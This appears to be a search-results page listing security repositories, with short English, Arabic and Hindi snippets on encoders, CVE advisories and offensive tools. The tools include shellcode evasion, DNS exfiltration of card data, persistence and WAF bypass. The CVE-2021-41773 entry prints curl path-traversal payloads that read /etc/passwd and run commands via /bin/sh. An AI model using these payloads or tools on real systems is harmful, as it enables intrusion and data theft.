15516 matches found
Shelltropy
Shelltropy The more predictable you are, the less you get detected A technique of hiding malicious shellcode based on low-entropy via Shannon encoding. Entropy is the measure of the randomness in a set of data here: shellcode. The higher the entropy, the more random the data is. Shannon Entropy i...
CVE-2022-21907-http.sys
CVE-2022-21907 - تحرير مزدوج في برنامج تشغيل http.sys CVE-2022-21907 - تحرير مزدوج في برنامج تشغيل http.sys ملخص يمكن لمهاجم غير مصادق إرسال طلب HTTP مع ترويسة طلب "Accept-Encoding" HTTP مما يؤدي إلى تحرير مزدوج double free في قائمة الترميز غير المعروفة داخل حزمة بروتوكول HTTP http.sys لمعالجة...
Decodify
Decodify It can detect and decode encoded strings, recursively. Lets take this string : s0md3v and encode it in Base 64 czBtZDN2 Now lets encode it in hex 637a42745a444e32 And now again in Base 64 NjM3YTQyNzQ1YTQ0NGUzMg== Now lets supply it to Decodify Boom! Thats what Decodify does. It...
PowerExfil
PowerExfil Red Team आकलन के लिए कस्टम डेटा एक्सफ़िल्ट्रेशन स्क्रिप्ट्स का संग्रह। ExfilCards.ps1 - यह स्क्रिप्ट क्रेडिट कार्ड नंबरों को base64 एन्कोडेड स्ट्रिंग्स के माध्यम से एक कस्टम DNS सर्वर पर एक्सफ़िल्ट्रेट करेगी। ExfilDataStreamDNS.ps1 - यह स्क्रिप्ट किसी फ़ाइल की संपूर्ण सामग्री को base64...
owasp-java-encoder
OWASP Java Encoder Contextual output encoding for Java 8+. Choose an encoder for the parser context receiving untrusted text: HTML, JavaScript, CSS, XML or a URL component. The core has no runtime dependencies; optional JSP and Jakarta adapters provide view-layer bindings. Encoding is one part of...
cve-2021-41773
cve-2021-41773 CVE-2021-41773 Path Traversal vulnerability in Apache 2.4.49. RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Follow us Vulnmachines YouTube Twitter...
CVE-2022-28986
CVE-2022-28986 LMS Doctor द्वारा "Simple 2FA Plugin for Moodle" में एक असुरक्षित प्रत्यक्ष वस्तु संदर्भ IDOR भेद्यता भेद्यता विवरण जोखिम : गंभीर विक्रेता: LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle द्वारा खुलासा: Flaviu Popescu विवरण: "LMS Doctor" द्वारा Moodle के लिए Simple 2F...
ghauri
Like Ghauri, consider supporting the developer Ghauri An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws. Requirements Python 3 Python pip3 Installation cd to ghauri directory. install requirements: python3 -m pip install --upgrade ...
tesseract
Unit Testing for Tesseract Requirements Files and structure ├── langdatalstm │ ├── common.punc │ ├── common.unicharambigs │ ├── desiredbigrams.txt │ ├── eng │ │ ├── desiredcharacters │ │ ├── eng.config │ │ ├── eng.numbers │ │ ├── eng.punc │ │ ├── eng.singlestext │ │ ...
SharpEventPersist
SharpEventPersist Persistence by writing/reading shellcode from Event Log. Usage The SharpEventPersist tool takes 4 case-sensitive parameters: -file "C:\path\to\shellcode.bin" -instanceid 1337 -source Persistence -eventlog "Key Management Service". The shellcode is converted to hex and written to...
XORpass
XORpass is an encoder to bypass WAF filters using XOR operations. Installation & Usage git clone https://github.com/devploit/XORpass cd XORpass $ python3 xorpass.py -h Example of bypass: Using clear PHP function: Using XOR bypass of that function: $ python3 xorpass.py -e "systemls" Why does PHP...
CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille-
استشارة أمنية: تهريب طلبات HTTP عبر عدم تزامن Transfer-Encoding rouille معرّف CVE المعيّن: CVE-2026-67181 الملخص rouille::proxy::proxy يمرر ترويسة Transfer-Encoding الخاصة بالعميل إلى الخادم الخلفي دون تغيير، لكنه يكتب جسم الطلب الذي قام tinyhttp بالفعل بفكّ تقطيعه de-chunk. وهو لا يصدر أبدًا...
JavaDeRe
مقدمة المشروع يُستخدم أساسًا في السيناريوهات التي تتطلب ترميز ملف class إلى base64 أثناء إنشاء حمولة استرجاع لـ JAVA Deserialization، وفك ترميز سلسلة base64 إلى ملف class أثناء الاستجابة للطوارئ لعرض حمولة الهجوم. PS: بشكل أساسي لأنني كسول مثال الاستخدام التشغيل العادي لـ evil.java معالجة ترميز م...
CVE-2026-61511-PoC-Exploit
CVE-2026-61511 – استغلال وتحقّق من ثغرة RCE قبل المصادقة في vBulletin ⚠️ للاستخدام الأخلاقي فقط – اختبار أمني مصرّح به يوفر هذا المستودع أدوات للمتخصصين الأمنيين المعتمدين، وفرق الدفاع الأزرق، ومختبري الاختراق فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب CFAA الولايات المتحدة،...
CVE-2026-9811
CVE-2026-9811 CVE-2026-9811 هي ثغرة البرمجة النصية عبر المواقع المخزنة Stored XSS تؤثر على Mautic 7 الإصدارات من 7.0.0 إلى 7.1.1. توجد الثغرة في مكوّن محدد المشروع Project Selector، إذ تُدرَج أسماء المشاريع التي يعيدها طلب AJAX في الصفحة دون ترميز مناسب للمخرجات أو تعقيم. يمكن لمستخدم مصادَق عليه...
xbootEncodePwd
xbootEncodePwd xboot-activiti-1.0-SNAPSHOT xboot-cms-1.0-SNAPSHOT xboot-generator-1.0-SNAPSHOT xboot-app-1.0-SNAPSHOT xboot-core-1.0-SNAPSHOT xboot-open-1.0-SNAPSHOT xboot-autochat-1.0-SNAPSHOT xboot-docking-1.0-SNAPSHOT xboot-quartz-1.0-SNAPSHOT xboot-base-1.0-SNAPSHOT xboot-ems-1.0-SNAPSHOT...
WSO2-2021-1261
WSO2-2021-1261: ثغرات متعددة من البرمجة النصية عبر المواقع في WSO2 ESB بسبب ترميز المخرجات غير السليم، تم تحديد هجمات متعددة من البرمجة النصية عبر المواقع XSS في WSO2 ESB. إفصاح البائع: يمكن العثور على إفصاح البائع وإصلاح هذه الثغرة الأمنية هنا. لماذا لا يوجد CVE؟ لم يطلب أنا ولا البائع CVE لهذه...
Powshell-decode-payload
فك ترميز كود gzip الخاص بـ PowerShell sal a New-Object;a IO.StreamReadera IO.Compression.GZipStreamIO.MemoryStreamConvert::FromBase64String'xxxx',IO.Compression.CompressionMode::Decompress,Text.Encoding::ASCII.ReadToEnd sal a New-Object;a IO.StreamReadera...
reversemap
reversemap Analyse SQL injection attempts in web server logs The program can either be run in batch mode or interactive mode. In batch mode the program will accept Apache web server logs and will deobfuscate requested URLs from the logs. In interactive mode the program will prompt for user input...